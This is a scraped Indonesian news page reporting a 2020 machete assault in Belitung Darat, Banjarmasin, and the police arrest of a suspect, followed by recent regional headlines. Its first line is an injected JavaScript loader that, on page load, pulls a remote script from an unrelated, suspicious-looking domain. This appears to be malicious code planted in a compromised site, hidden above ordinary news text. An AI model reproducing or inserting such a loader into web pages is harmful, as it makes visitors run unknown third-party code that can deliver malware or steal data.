(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Pelaku Penganiyaan di Belitung Darat Diringkus Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pemuda bernama Novianto Fahrozi (19) menjadi korban penganiayaan, Kamis (13/8/2020) pagi sekitar pukul 05.00 Wita. Pria yang belum bekerja itu dianiaya di Jalan Belitung Darat depan Gang Rahayu RT 18 Kelurahan Belitung Utara, Kota Banjarmasin.

Warga Jalan Kuin Selatan, Gang Ananda RT 5 Kelurahan Kuin Selatan, Kota Banjarmasin tersebut mengalami luka bacok pada bagian pergelangan tangan sebelah kanan.

Menanggapi hal itu, Kapolsek Banjarmasin Barat, Kompol Mara Suryo Kartiko melalui Kanit Reskrim Ipda Yadi Tullah mengatakan, pelaku aniaya telah berhasil dibekuk petugas pada Jumat (11/9/2020) siang 15.00 Wita.

“Pelaku yang berinisial HM alias Nehe itu diciduk di Jalan Belitung Darat Gang Amal RT 15 Kelurahan, Belitung Utara Kecamatan Banjarmasin Barat,” katanya.

Ia menambahkan, pria yang berusia 26 tahun itu berhasil diringkus unit Ops Reskrim, berikut senjata tajam jenis parang lengkap dengan kumpang warna hitam panjang 55 Cm diamankan sebagai barang bukti.

Penganiayaan itu sendiri terjadi saat korban dan saksi bernama Aldi (18) dan Deni (18) sedang nongkrong di kawasan Jalan Belitung Darat, tepatnya di depan SMPN 5 Banjarmasin. Tiba tiba, adik pelaku melintas menggunakan sepeda motor dan sempat diteriaki korban dan saksi.

Kemudian, adik pelaku datang menghampiri korban dan saksi lalu terjadi cekcok mulut antara adik pelaku dengan korban. Setelah kejadian cekcok mulut tersebut adik pelaku lari dan meninggalkan sepeda motor dan satu ponsel di TKP.

Begitu juga ponsel milik korban tertinggal di TKP. Saat korban mencari ponsel miliknya dan melintas di depan Gang Rahayu, tiba-tiba pelaku langsung menyerang korban dengan menggunakan sajam. Atas kejadian tersebut korban dilarikan ke rumah sakit terdekat.

Saat ini pelaku dan barang bukti telah di bawa ke Mapolsek guna proses hukum lebih lanjut. ”Pelaku akan dijerat hukuman sesuai dengan Pasal 351 KUHP,“ pungkas Yadi.  Pengungkapan kasus penganiayan ini merupakan perwujudan program Kapolda Kalsel Irjen Pol Dr Nico Afinta yang memerintahkan semua Polres jajaran Polda Kalsel menjaga pemeliharaan Harkamtibmas di wilayah hukum masing-masing. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

9 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

10 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

11 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

11 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

11 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

12 jam ago

This website uses cookies.